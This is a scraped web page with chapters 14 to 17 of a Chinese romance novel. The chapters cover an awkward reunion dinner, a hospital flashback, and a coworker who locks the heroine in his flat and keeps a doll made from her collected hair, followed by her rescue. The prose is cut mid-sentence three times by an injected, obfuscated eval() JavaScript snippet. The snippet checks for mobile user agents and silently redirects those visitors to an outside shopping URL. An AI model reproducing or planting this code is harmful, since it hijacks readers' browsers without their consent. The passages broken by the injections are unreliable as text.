“运营模式和员工配置那些都搞清楚了。问题挺多,慢慢来吧。”裴涟给自己倒了杯茶。 “嗨,没事。”王嘉又说,“我叔那个馆刚盖起来的时候也风光过,季城横竖就这一个大型海洋馆,再凉也凉不到哪去。” 胡新成也加入了他们的闲聊:“涟哥,我不是听说你家想让你接手公司吗,你为啥跑出去盘了个海洋馆?” 裴涟没立刻回答,而是顺手给景音的茶杯也倒了茶水。景音默默说了声:“谢谢。” 方小芸眼神瞥了瞥:“还能为啥,为了她呗。俩人老相好了。” 景音微微无语:“不是……” “价格合适,就买了。”裴涟回答,“看那馆里的海报挺有意思的。” “什么海报?”景音问。 “拒绝动物表演。” “哦……” 那海报是她申请贴的。 “从来都只听说民间不接受动物表演,海洋馆带头拒绝的,还是第一个。”裴涟抿了口茶,“搬石头砸自己脚的行为,还挺有挑战的。我也想试试。” 14. 心动的事 景音觉得,他这不是没事找事吗。 “那你还挺理想主义的。”张桐评价他,“不过,咱市海洋馆没有动物表演吗?我记得我上高中那会儿去还有海象顶球呢。你们现在纯靠门票收入?” “还有别的。水母馆、南极馆、人鱼馆,还卖一些文创。” “哦哦对,你们还养美人鱼。从哪儿打捞上来的?也算是挺有特色的。” 裴涟轻抿了抿嘴:“嗯,是养了一条。” 王嘉在一旁嘿嘿地笑。 景音听不下去了,跟张桐解释:“桐姐,那是美人鱼表演,真人扮演的。” “我知道啊。”张桐饶有兴致点点头,似乎陷入幻想,“那得是什么样的美人,才能扮演美人鱼啊。” 王嘉:“近在眼前,就是小景。” 张桐一愣:“你那天跟我说的把小裴亲跑的美女,是小景啊!” 景音:“……” 今天她跟这个话题过不去了是吧。 “怎么个事?你们都看见了?”方小芸声音比谁都大。 王嘉连忙娓娓道来:“就我带他去考察那天,正好看见小景在鱼缸里表演。完事我就想着别白来一趟,也互动一下拍个照片嘛,正好旁边一个牌子写着互动一人五元,我就去交了十块钱带小裴排队。轮到小裴的时候,小景特别高兴,就隔着板子亲了他一口。” “……”景音有点崩溃,“不是这么回事,我当时……” 裴涟:“嗯,对。” ??? 景音觉得自己必须解释一下。 “其实我在水下看不……” “哎呀!”方小芸大声嚷嚷,“闹了半天,还是隔了张板子?以后这种程度的就别说出来浪费大家时间了,没意思。” “没有,其实……” 景音想第三次开口解释,却又被上菜的服务员打断了。 几碟精致的小菜摆满了一桌。 据刚刚那个话题已经间隔了一会儿,景音再提起来,反而像她很在意似的。 可能,这就是成年人必经的崩溃时刻吧。她轻叹了口气,开始埋头吃饭。 “哎,小景。”张桐招呼她,“咱俩加个微信呗,以后常联系。” 景音匆匆放下筷子:“好啊。” 她掏出手机。刚解锁屏幕,旁边的方小芸胳膊肘不知道怎的怼了她一下。 景音一个不慎,手掌蹭在了她和方小芸的聊天界面上。 方小芸的声音从她手机中传出:“不是,我说景音你真猛啊……” 景音吓了一跳,慌慌乱乱想要点掉这条语音。然而越着急,手指越在那条消息上描边,愣是点不到。 方小芸语速很快:“……你真把裴涟给睡了?牛逼!我和我男朋友还没到那一步呢!” 众人皆看了过来。 片刻后,身旁的方小芸害羞地捂住了脸,声音尖又细:“景音,你好讨厌,干嘛暴露人家的隐私啦!” 事实证明,人越崩溃,大脑越乱。大脑越乱,心理活动越少。心理活动越少,人越平静。 所以人越崩溃,人越平静。 景音划掉和方小芸的聊天界面,调出自己的二维码,淡淡开口:“桐姐,你扫我就行。” “哦,好,呵呵……” 张桐拿出手机扫了一下,片刻后,好友申请发了过来。 景音点了接受。收起手机时,意外瞥见旁边的裴涟,嘴角正浅浅上扬。 笑你个头啊!! “没事小景,刚才新诚打电话的时候,我们都听到了,这不是误会嘛。”张桐看出了她的窘迫,“小芸你也是的,光开这种玩笑。” “不是我说的啊,她自己说的。”方小芸毫无察觉地夹着菜。 裴涟很惊讶似的,默默又强调了遍:“啊,这谣言是你说的?真没想到呢。” 景音埋头干饭,只当他们说的不是她。 还好这顿饭的后半段,吃得比较踏实。 当然这个踏实,是对于景音来说。 方小芸就不一样了,接了一个公司的电话要她回去加班,没待一会儿就拉着胡新成气冲冲地跑了。 “他俩在一起多久了?”景音好奇。 上大学时,方小芸谈恋爱从没超过两个月。 “两个月了。”裴涟答她,“怎么。” 景音若有所思:“哦,没怎么。”她又扒拉了两筷子,“我吃饱了。” “吃饱了,让小裴送你回去啊。”张桐笑着看向她。 裴涟也准备放下筷子。 “不用麻烦了。”景音浅笑了下,“我自己回去就行。” 语罢,她果断地站起来:“那我先走了,有空再聚。桐姐,桐姐夫,元旦快乐!” 景音逃也似的嘭地关上了门,王嘉和张桐两夫妻审视地看向裴涟。 裴涟有点不自在:“看我干什么。” “人家小姑娘为什么这么怕你?说拜拜都不带上你名字。”王嘉眯起双眼,“你大学的时候,对人家做了什么丧尽天良的事啊?” “我是那种人吗。”裴涟轻抿了口茶。 “嗯……看着是不像。” 王嘉嘻嘻笑了声:“可是私底下谁知道呢?” 张桐轻轻拍了他一下:“你别逗他了。小裴,我好奇问问啊,你俩是什么关系?” 裴涟捏着光洁的骨瓷杯,眼神有点心不在焉。 半晌,才淡淡回答:“她是我前女友。” 王嘉吃惊地半张着嘴,而张桐似乎早已料到。 “那你打算跟她复合吗?”她一针见血。 裴涟没说话,手指摩挲着杯子,答非所问地说了句:“她好像有点不想见到我。” “不是吧。”张桐意味不明地笑了笑,“我看她的种种反应,明显是很在乎你的。” 王嘉突然想起什么,又拍了拍桌子:“对,你姐是学心理的,她说的肯定对。有啥恋爱上的问题,你问她!” 裴涟恍然抬起眸,面色犹疑。 张桐微笑了笑,一副洗耳恭听的样子。 结果过了半天,裴涟也没说出一个字来。 “算了,换我问你吧。”张桐支起下巴,“你俩都谈过恋爱了,为什么,只亲过一次?” 大概没料到张桐的问题这么直接,裴涟面上浮现一丝绯色。 裴涟:“……因为我们只在一起了一天。” 张桐:“?” 王嘉:“?” 裴涟语气有丝烦躁:“我们还不熟的时候,我借着和朋友玩游戏跟她表白,她答应了。” 张桐:“……” 王嘉:“……兄弟啊,你确定她知道她是你前女友吗?” “这种事的话,确实挺一言难尽的哈……”张桐也无语地扶额,”那你有跟她说清楚,你是真心的么?” 裴涟:“有。但她知道了以后,让我离她远点。” “这也不怪人家生气。”张桐无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572833|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈笑笑。 但一个误会,倒也不至于生气这么多年,张桐总觉得另有隐情。 “放宽心,她既然能答应你的表白,至少在当时,还是喜欢过你的。”她先安慰裴涟,“根据我刚才的观察,小景在感情中明显是被动型的,所以你得主动点,得钓她啊。” “……” 裴涟默不作声。 “对了,你不是说那天是她第二次亲你吗?这么说来还有第一次。”张桐突然提起兴致,“第一次的时候,也许你做过什么她很心动的事,所以她才会突然主动亲你。” 裴涟这下是真地仔细想了想。 他那天做过什么特殊的事吗? 不就,喝了点酒。 景音喜欢看他喝酒? 这是什么奇怪的癖好。 而且……景音亲的也不是嘴,是脖子。 他更相信,景音那晚只是单纯地嫌他烦。 王嘉拍了拍他的肩,语重心长:“慢慢想啊,我俩回家带孩子了。哎,真羡慕你们单身汉啊~” 他语气欠欠的,挺讨打。裴涟起身和他们一起出了满月公馆。 却在车内独坐良久。 片刻后,他像做出什么决定,掏出手机,发了条消息。 景音刚打开公寓的门,手机就响了。 她点开手机,看见是裴涟发来的消息。 L:「到家了吗。」 晚上发生的事仍然让她很尴尬。景音不知道他想干什么,干脆回复:「到了。」 很快收到了回复:「我看你晚上没怎么吃饭。」 「要不要出来吃夜宵。」又一条。 景音摸了摸自己圆圆的肚子,陷入沉思。 她回:「不想去。」 发出消息后,景音关上了屏幕,闭眼一头埋进枕头里。 心理医生说过,虽然她的共情能力已经基本正常,但因为小时候被伤害的次数太多,所以导致情感仍旧封闭。 平时的相处还好,单独和裴涟出去,她第一反应便是拒绝。 好在她也不是第一次拒绝裴涟了。 第一次拒绝,是什么时候来着? 啊。 是他们两人被从江里救起来之后。 思维逐渐飘远,回到了她在医院苏醒过来时。 景音反应过来自己已经待在医院后,就听见了门外护士的闲聊。 “……听说那男生准备出国呢,这下也没谱了。” “啊!看他父母挺有钱的,这么好的前程,现在的年轻人太冲动了吧?” “就是说呢。警察给定性了,两人打架斗殴,调解不了就得拘留,就是国内的大学也不愿意收有前科的吧。” …… 景音第一反应还是,她救到了裴涟。 真好。 两个护士推开门进来,看见睁着眼的景音,吓了一跳。 “你醒了啊,小姑娘。”其中一个护士说,“我们联系你了的监护人,他们不愿意过来,说我们是骗子。你要不要给家里打个电话啊?” 景音乖巧坐了起来,听见这番话,也没什么特殊的表情。 “不用了。”她回答。 那护士犯了难:“可是你的治疗费是你同学家长给交的。你不叫家里大人过来,怎么还他们钱?” “哪个同学?” “就是和你一起落水的男生。” “……”景音才有了反应,“他在哪个病房。” 15. 距离 景音出了病房,看了一眼自己的房号,这才发现,她住的是vip病房。 心间顿时闪过一丝愁绪。 这住院费用,也不知道该怎么开口找景绍良要。 根据护士给的房号,她很快找到了同层裴涟的房间。门虚掩着,里面传出些交谈的声音。 景音本没想偷听的,只是刚要敲门时,她听见了自己的名字。 一个男声说:“……是叫景音吧。以前也没见涟哥和她说过话啊?我俩认识这么久,第一次见过他发这么大火,吓我一跳。” “涟哥也真是的,玩个游戏而已,他还真把那姑娘当女朋友了,何必认真呢。”另一个男声搭腔。 “认真?”这次是个陌生女生的声音,“你的意思是,裴涟为一个认识不到五分钟的人去打人?你们自己想想,以他的性格,可能吗。” “那你说为什么?” 没人接话。 一道阴影印在了米白的门板上。景音回过头,身后是一个中年男人,一言不发地和她对视。 这男人生的儒雅,五官英挺俊美,和裴涟有几分相似。 只是他神情却带了些忧郁,好像遭遇了什么烦心事。 他注视着景音,一股淡淡的威压弥散开来。景音顿感氛围沉重,不自觉低下了头。 “来看裴涟?”他问。 景音点点头。 男人声音低沉:“进来吧。” “不进去了。”景音拒绝,“您是裴涟的父亲吗?” “对。” “能不能给我您的银行卡号,我把住院费用还您。” 他声音柔了一些:“你是那个救人的小姑娘?” “……嗯。” “不用还了。我这臭儿子连累你也落水,医药费本来就该我们承担。”他不容拒绝的口吻。 景音了然,点了点头。 裴父挑了挑眉梢,似乎讶于她的直爽。 “为什么不进去?”他又问。 “里面的人我不认识。” 他不由分说打开了门。门内四五个年轻人看见裴涟的父亲,都老老实实站直了。 “裴叔。”一个卷头发的男生打招呼。 “嗯。”裴父点了点头,“你们先出去,人太多了。” 男生看见跟着进来的景音,很懂事地笑了笑:“得嘞。” 只有那名女生站着不动。卷毛拉了拉她,小声说:“走啊,晏霖。” 终于几个人都出了门,景音顿时觉得这里宽敞了不少。 裴涟躺在病床上,身上被换上了和景音一样的病号服。清隽精致的面庞还有些发白,双眼紧闭着,仿佛沉睡在另一个世界。 景音的心情不自觉揪紧。 裴父走到病床旁,踢了一脚床脚:“别装了。” 裴涟缓缓睁开眼睛。 景音:“……” 发现景音也在,裴涟有些不好意思,忙坐了起来。 “你没事——” “他们说的玩游戏,是什么意思?”景音开门见山。 裴涟微愣,然后瞥了一眼旁边抱着双臂老神在在的父亲。 他犹豫了一瞬,选择诚实回答:“他们都是我同学。落水之前,我们在玩真心话大冒险。” “你抽到了真心话。” “我抽到了大冒险。” 景音沉默了。 “可是我说的是真心话。”裴涟声音很淡,“我喜欢你很久了,景音。” 景音微红了脸。 一旁的裴父轻咳了声,转身出了门,把病房的门轻轻带上。 景音这才正眼往病床上看了一眼。 裴涟淡然的表情有些松动,面色也同样带着些粉红。他终是软下了眼神,嘴角也噙起了笑意,双眼直盯着她:“到我这来。” 景音没动弹。 他有些忍痛似的捂住胸口:“呼吸还有点疼。” 景音皱眉,他明明一副恢复良好的样子,现在这是在做什么。 见她没反应,裴涟哑然失笑。 他掀开被子,起身下了床,抬手胡乱整理了一下头发,一步步向她走来。 景音忽然就听见了自己的心跳声。 整个身体似乎在此刻活了过来,所有感官都变得敏感数倍。 裴涟在她身前站定。 他靠得极近。景音甚至能看清他病号服上的织物纹理,闻到他身上淡淡的消毒水味。 她想退半步,才发现,自己不知何时已经靠在了墙上。 “为什么要救我?”他低着声音,眼神轻睨着她。 “我会游泳。” “我也会游泳。” 景音移开目光,他们昏迷没有多久,窗外依旧是黑夜:“……我没想那么多。” 手背传来冰冷僵硬的触感。她的手掌仍维持着下垂,却被裴涟莽撞的力道按压在墙上。很快,他的指尖缠上她的指尖,耳边响起他轻如耳语的声音: “可以牵手吗。” “你不是已经这么做了吗。”她睫羽微颤。 裴涟似是不满意,轻摩了摩她的指腹。 “看我。” 景音好像预感到他想做什么,匆忙瞄了他一眼,又别过脑袋转向另一边。 残留的视觉图像闪回在大脑。 那双惑人的浅眸藏在碎发下,却仍露出些许失神的目光,专注又缱绻。 “谢谢你救我。”他说。 景音突然毫无预兆地把他推开了。 裴涟有些困惑。 咚咚。 心跳声依旧强烈。 “别靠我太近。”景音嘴里喃喃念叨。 裴涟顿时后悔,很快恢复了平时的矜持,语带歉意:“……对不起,是我太冒犯了。” 咚咚咚。 “算了。”她说。 “什么?”他抱歉地微笑了下,“你声音太小了,我没听清。能再说一遍吗?” 咚咚咚咚咚。 心跳声有如烈鼓,在她胸腔震个不停。景音甚至觉得不舒服,不自觉拔高了声音: “我不当你女朋友了。你不本来也是在做游戏吗?现在游戏结束了。以后离我远一点。” 裴涟无措地原地站着,好像不明白为什么会突然变成这样。他半晌说不出话来,最后还是扯了扯嘴角,露出一个难堪的笑容:“不是……” 景音发现自己无法再听他说话。 她几乎是跑着出了他的病房。门口裴涟的父亲正倚靠在墙上,见她出来,刚想摆出笑容,景音就消失在面前。 后来景音把这一段经历告诉了心理医生。医生安慰她,说这种反应也许对常人来说很奇怪,但对景音这种童年经历的人来说,却很正常。 “你的情感封闭了太久,不可能一下接纳另一个人的。这种行为我们有一个专有称呼:恐惧型依恋。” “害怕被抛弃,害怕太亲密。极度渴望爱,又不惜一切代价逃避爱。” “那我该怎么办?”景音曾这么问。 “很简单,但也很难。”医生告诉她,“足够的安全感、足够的爱、足够的尊重,但最重要的,是你要找到属于你自己的价值,才能让你的大脑相信自己是值得被爱的。” 景音摇头:“我做不到。” “不会啊。”医生微微笑着,“你不是短暂地接纳了那个男生吗?虽然持续时间很短,但是我们也看到了有好转的希望。说不定,他会是你的转折点。” 如果景音早一点看心理医生,或许会试着强迫自己多和裴涟接触。 但听到这段话时,她正上大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572834|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三,裴涟也出国两年了。 于是,当时的景音,没把医生的那段话当回事。 现在她忽地又想起了这段对话。 她又点亮了手机。自她拒绝裴涟吃夜宵后,已经过了十几分钟,对面没有回复。 被她拒绝后,他会在元旦夜干什么去呢? 景音犹疑了下,点进他的朋友圈。那条三天可见的“炫耀”已经自动隐藏,取而代之的是一片空白。 她的心一点点恢复平静。 裴涟现在回国了。可是,他好像已经和初恋复合了啊。 景音无谓地笑了笑。刚要去洗漱,手机响起提示音。 L:「你是不是住在员工公寓。」 景音挑了挑眉,回复:「嗯。」 “音姐,音姐在吗?”有人突然敲响了门,“有人吗?” 景音吓了一跳。 她没跟同事合租,公寓里只住她一个人。突如其来的敲门声在空荡的房间回响,急迫得有些骇人。 景音忙下床,透过猫眼看见一个男同事。 “怎么了?”她隔着门问。 “音姐,是你吗?”对面语速有点快,“路图喝多了,哭着叫你的名字。我们没办法,就来楼上找你了。” “哭?”景音皱起眉头,“我又不知道他怎么了,找我也没用。辛苦你们照顾一下他吧。” 那人急了:“别啊姐!就是下来安慰安慰他,他最近挺惨的,家里好像也出了什么事。你别害怕,我们几个都在的。” “……不了,不方便。” “景音姐!”门外的声音似乎有点崩溃,“都是同事,你怎么这么冷血?劝他两句都不行吗?” 这个字眼,听着有些刺耳。 景音打开了门。 她有些疲惫地出声:“走吧。” 门外这男同事有点眼熟,样貌很年轻,景音依稀记得是饲养部的。见她肯出来,他转而一笑:“走吧!” 景音轻叹了口气,跟他一起上了电梯。 海洋馆租的公寓是馆周围的商品房。景音虽然偶尔和路图顺道回来,却从来没去过他的房间。 看着男同事按下路图的楼层,景音发出疑问:“你们今晚去喝酒了?” “嗯。”他回答,“喝着喝着,小路就喝高了。唉,都怪我们,知道他不能喝,还劝他酒。” 景音不知道怎么接话,只得转移了话题:“他家里发生什么了?” “……”男生想了想,“我也没听懂,他说的话乱七八糟的。” 不容她问更多,电梯“叮”的一声到了。 男生带她走出电梯。走廊里很安静,与常态无异。他走到西户打开了门,屋里亮着灯,但并没听见想象中的耍酒疯声音。 空气中的确有股淡淡的酒味。 男同事站在门侧,示意让她先进。 景音皱了皱眉:“里面怎么没人?” “都在卧室。”他回答,“我出来的时候,小路好像吐了。估计我同事在里面收拾呢。” 这话勾起了景音不好的回忆。 看着屋内昏暗的灯光,她突然有点后悔。 “我还是不进去了,太晚了。”她转身要走,“你们……” 男生突然拉住她的胳膊,表情有些可怖。 景音头皮顿时一阵麻。 她厉声:“你干什么?松开。” “姐,别害怕,很快的。”男生僵硬地惨笑,“他那么喜欢你,你就接受他吧。” “什——” 他突然使上了一股大劲,把景音扔进屋内。 景音顿时失去平衡,半摔进屋里,双手勉强撑在地上,维持住了重心。 身后传来巨大的“嘭”声。她惊恐地回过头,只看见黑乎乎的门板,门已经紧闭。 16. 一类人 门锁咔咔响了两声,是钥匙锁门的声音。 景音的心突突跳了起来,她匆忙站起,带着一点点希冀去掰门把手—— 掰不动。 冰凉的温度似乎从门把手传染上她的指尖,景音下一个动作,是去掏手机。 然而,口袋空空如也。 她这才想起,回完裴涟的消息后,手机就被她扔在了床上,刚才走得急,忘了拿。 现代人失去手机的无助感,在此刻攀上了顶峰。 屋内传出些窸窸窣窣的声音,景音顿时警醒无比。她思路变得异常清晰,扫视了一圈屋内,这里的布局和她的住处一样。 景音小跑进厨房,寻了把菜刀。 无论是方才那男同事的话,还是他的举动,都预示了接下来可能会遭遇危险。不论会发生什么,她先找自保方式都没有错。 景音微微喘息,藏在了厨房内,半举起刀,竖在胸前。 半晌,路图的身影从卧室里走了出来。 他行动有些晃悠,却并不像方才那男同事描述般地不清醒。 “贺?”路图茫然开口,“是你吗,你不是说今天回家看你爸妈吗?” 听见他这句话,景音才想起来,路图的室友是贺凡晖。 员工公寓是两人租一间屋子,偏偏贺凡晖今天不在。 可真是,太巧了。 路图没看见人,迷茫地甩甩头,转身回了房间。 景音冷静了不少,判断着眼前的形式。 屋里,似乎只有路图一个人。 刚才那男同事,说路图醉到哭喊她的名字。 但此时此刻,路图看上去只是喝的多了些,远不到“醉宿”的程度,甚至思维清楚,应是可以沟通的。 所以……这是恶作剧? 如果她判断无误,那自己现在去找路图说清楚,让他拿钥匙开门放自己出去,应该行得通。 景音舒了口气。为了不吓到路图,她放回了菜刀。 出了厨房,她轻手轻脚走到刚才路图回去的卧室。卧室门虚掩着,景音提起手,敲了敲门。 没有回应。 景音蹙起眉。 难道路图进屋后就睡着了? 她轻推开了门。 卧室里没开灯,仅有客厅昏暗的光线照射进屋里。床上躺着个影子,景音勉强认出是路图的背影。 他的身体缓缓地一起一伏,果然正在沉睡。 景音不知为何松了口气。 他睡着了,更好。反正她需要的只是钥匙。 她在床头检视了一番,没有看见钥匙的影子。 出了卧室,景音轻手轻脚在玄关和客厅找了找,甚至还发现了路图的大衣,只是依旧没在任何地方找到门钥匙。 难道……钥匙还在路图身上? 景音又回到卧室。路图已经打起了鼾,声音不大,却让景音放心不少。 她不想开灯让他醒过来。凭着屋外的暗光,她看见了路图的裤子口袋,似乎鼓鼓囊囊的。 景音松了口气,俯下身,找到一个方便的角度,向口袋里小心探进两根手指—— 触感柔软,像是卫生纸。 在这一瞬,她突然触电似的反应过来了。 钥匙,她刚才不是见过吗。 不就在那男同事的手里! 路图的室友是贺凡晖,贺凡晖又不在,那方才男同事用过的钥匙,大概率就是路图本人的。 她嫌弃自己的迟钝,更气愤那同事的胡闹。景音正欲起身,余光突然发现,床上好像还有一个人。 那人很娇小,被路图压在怀里,只能看见半个脑袋,似乎是个长发的女子。 景音有几分讶然,她不知道路图有女朋友。 这场景还真是有点尴尬。她不知该不该叫醒他们俩,只得先快速抽出了还悬在路图口袋里的手指。 手腕突然无预示地被人捏住了。 景音吓一跳,差点喊出声,猛甩开了胳膊。 她这才后知后觉,路图的呼噜声不知从什么时候起,已经消失了。 路图半撑起了身体,迷茫地看过来:“景音?” 景音心绪不宁地拍着胸口,强迫自己冷静下来。 “是我。”景音不知该怎么解释:“不好意思啊,我不是故意——” 她停住了话音。 因为她看见,路图怀里的,根本不是个人。 是只……娃娃。 路图匆忙盖上了被子,满脸的紧张神色:“你怎么在我卧室?” 景音没有回答他。 从进门以来,她的心跳第一次如此不受控,像是要跳出嗓子眼般的慌乱。 虽然只有一瞬,但她也看见了,那娃娃的脸部极其精致逼真,在昏暗的光线下,像极了一个人。 像极了,她自己。 她脑海里突然回荡起贺凡晖的声音:“就是感觉他不太正常,光在他屋子里摆弄什么洋娃娃,挺瘆人的……” 理智告诉她:先装作没看见,不要问。 但她已经被惊到失去了理智。 她无法忽视自己看到了什么。 景音声音有点颤抖,指着那个和自己很像的东西:“那……是什么。” 路图低头看了一眼。 再抬起头时,他脸上如平时一般,换上了微笑,单纯无害。 “你非要问?”他说。 景音屏住了呼吸,不知该作何回答。 路图好像也不需要她的回答。 他自顾自掀开了被子,痴迷般地口吻:“我做了很久的。” 被子再度露出那只娃娃。景音这次看得清楚了些,除了五官,它还有稀疏的头发,长度和景音的差不多。 她突然萌生一种恐怖的想法。 路图温柔地抚摸那娃娃的脑袋,喃喃道:“漂亮吧?可惜啊,景音,你头发掉得太少了,我收集了很久的。” 景音突然明白了。 为什么,每次路图都让她先冲澡。 为什么,路图喜欢打扫淋浴间。 为什么,他中午总爱回公寓吃饭。 他一直在收集她的头发,然后兴致勃勃地赶回公寓,接在这只娃娃的脑袋上。 景音忽然一阵反胃。 大抵是她的厌恶太过明显,路图神情有些受伤:“怎么了?我又没伤害过你,我平时不是对你很好吗?” “……你把这东西扔了。”景音唯一能想到这句话。 “不可能。”路图轻笑了下,神情有些惨淡,“这是我的宝贝。” 景音是真的想吐。 她跑进卫生间,弓下腰,不自觉地干呕。眼泪被刺激流出,景音无力去擦,满脑子都是,明天她一定要辞职。 她不要再上班了。不要再接触任何人了。 有人轻拍着她的背:“没事吧,景音?” 景音才想起,自她进门后,路图再不像平时一般叫她“姐”。 “你别碰我!”她惊恐地躲开。 “怎么了,觉得我很奇怪?” 路图的眼神有些阴森。 外面突然一阵喧吵声,好像有谁在公寓门口吵架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572835|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。景音想跑出去,被路图一把拉回了卫生间,门也被他顺势关上。 景音愤怒地推了他一把,奈何路图身材结实高大,她愣是没推动。 他反而抓紧了她的手:“景音,你别害怕,我那么喜欢你,我不会伤害你的!你看!”他突然打开了花洒,往自己头上冲着水,“你不是喜欢他湿头发的样子吗?你不是觉得这样很性感吗?你看,我也可以……” “滚!你有病!”景音大喊。 厕所门开了。有谁跑了进来,把路图踹开,牢牢地挡在了她身前。 八月夜桂花的幽香蔓延开,景音心底猛地松懈,脚下顿时发软。 她及时攀住身前人的胳膊,才没有跌坐在地上。 路图看见这一幕,好像受了刺激。 “我有病?”他终于叫嚷了起来,“我有病,你没病?你以为你能瞒住谁?你对他的那些想法,和我有什么区别?明明我们才是一类人!” 花洒依然喷着水,哗啦啦淋了景音一身。裴涟伸手关上了开关,水声戛然而止。 她的心内却轰然下起大雨。 “正好,他来了。”路图笑得瘆人,“你敢告诉他吗?你敢让他知道你多年以来的想法吗?是不是害怕,他像现在的你一……” 景音抬手上前,扇了他一巴掌。 安静了。 路图低着头,看不清表情。景音不敢回头看裴涟,她唯一想做的,只有逃。 但就这么简单的事,她也做不到。 门口突然涌进警察,两下制服了路图,路图并不反抗,反而呵呵笑了两声,被押着出了门。 有人递给她一条毛巾。 景音木讷地接过,抬起头,正对上裴涟压抑安静的眼神。 “没事了。”他说。 景音抱着毛巾。 她应该是想哭的,可眼眶里却没有一滴眼泪。她跟着裴涟出了卫生间,路过卧室,突然发了狂似的冲进去,撕扯起什么东西。 两个忙警察拉走她,裴涟也跟着冲进了屋,然而看清眼前的画面后,几人都愣住了。 景音不住地抖,不像在哭,而像是因暴戾气得颤抖。 裴涟匆忙搂住她,带她出了房间:“已经结束了。” 警察将他们一起带回了警察局。 她和裴涟被安排在了同一辆警车。看着窗外被警灯闪耀的街景,景音忽略恍若隔世。 刚才发生的一切,犹如一场虚拟的噩梦。离开那个场景,景音突然怀疑起了噩梦的真实性。 是假的吧,是假的就好了。 身边的裴涟也未发一言。 到了警局,景音作为受害者,一五一十地提供了自己的遭遇。直至做完了笔录,已经近深夜。 裴涟在警务大厅等她。 他身姿如皎月一样干净正直。景音心里有些刺痛,没想叫他,却被他一眼发现。 见他缓步走过来,她心底再次想要逃避。 路图说的话,裴涟若说没听见,是不可能的。 他要是问起,自己该怎么作答。 裴涟在她身前站定,语气听不出喜怒:“你想去哪,我送你。” 她想去哪。 倒不如说,她能去哪? “我不想回公寓。”景音抬起头。 她巴掌大的脸已经恢复了血色,只是双目空洞洞的,少了些神采。 裴涟似乎不忍,抬起手臂,又放了下去。 “你想去哪,我都陪你。” “真的吗?”景音恍惚一笑,眉宇间透着凄楚,“那,带我去你家。” 17. 创可贴 裴涟微怔,眼底有什么轻轻颤动。 “你认真的?”他反问。 景音抿了抿唇,半笑不笑地:“没有,我瞎说的。” “……”裴涟微眯起眼,“你又想反悔。” 他突然扯住她的手腕,不由分说带着她出了警局。 景音一言不发,顺从地跟着。 两人是坐警车来的,没有交通工具。裴涟叫了辆出租车,打算先回公寓楼下取车,顺便让景音拿手机。 他一直没松开她。 冷风吹得景音有些清醒了,她有点在意他的举动:“我又不跑,你松开吧。” 声线恢复了正常,只是还有点哑。 裴涟仿佛没听见,甚至捏得更紧了些。 景音倍感疲惫,此时此刻倒也懒得跟他争执。 只是,心里仍觉得不太舒服:“你该有点边界感。有女朋友了,就不要拉别人的手。” 这话一出,裴涟神情明显一愣。 “女朋友?”他重复。 景音淡淡瞅着他,眼神透着点气馁。 裴涟转念一想,很快明白了。 接下来的话,就带上了点漫不经心:“怎么了,我拉的是你的手腕,又不是手掌。” “……没有区别。” “那你知道我有女朋友,还说想去我家。谁更没有边界感?” 身边人的神色顿时灰冷下来。 “刚才因为那事,气忘了,对不起,跟你道歉。”她声音转凉,“我要回公寓,不去你家。” 裴涟啧了声,澄清道:“我没有女朋友。” “……?” 两人尴尬地对视了会儿。 “可我看到你朋友圈发,初恋要跟你复合。”她皱眉。 裴涟肃穆看着空旷的街道:“……我表弟拿我手机发的。” “……” 片刻,景音才转过了头:“哦。” 原来之前说的那些乱七八糟,都是在逗她玩。 心底那个曾经破掉的透明泡泡,好像又一点点膨胀起来。方才的事件带来的那股恶心冲击被短暂遗忘,景音抿了抿唇,似乎心里没那么堵了。 出租车很快到达。 景音上了车,想问裴涟一些事,但是碍于有出租车司机在前座,她不好开口。 方才,她从警察那里得知是裴涟报的警,但是中间发生了什么,以及他是怎么知道她在路图房间的,她不得而知。 她有一个大致的猜测:裴涟发来信息时,他就已经在公寓楼下了。后来联系不上她,就上楼来找,在这期间应该是遇见了那个鬼鬼祟祟的男同事。 两人大概是聊过天。裴涟这精明的脑子,估计很快发现了男同事话语里的不对劲,才有了后来的一幕。 但事实到底如何,她不得而知。 裴涟坐在她右手边,垂目看着车窗的一角,像是在沉思。 景音看着他发愣:如果下车后,他继续刚才的话题,问她为什么说想去他家,她该怎么回答? 其实她并不是想去裴涟家。 准确地说,她是想待在他身边。 许是因为方才被裴涟所救,他把她护在身后的那种安全感,让她产生了些依赖吧。 景音自己也说不清楚。 现在脑袋清醒了,她又十分后悔刚才的嘴快。 要是,裴涟再问起,从路图嘴里听到的那几句话…… 公寓楼下还停着辆警车。路图他们的楼层亮着灯,应是留有警察在里面做调查。 这让景音安心了不少。 裴涟陪她上楼,景音终于拿到了自己的手机。点开屏幕,看见了好几个裴涟的未接电话。 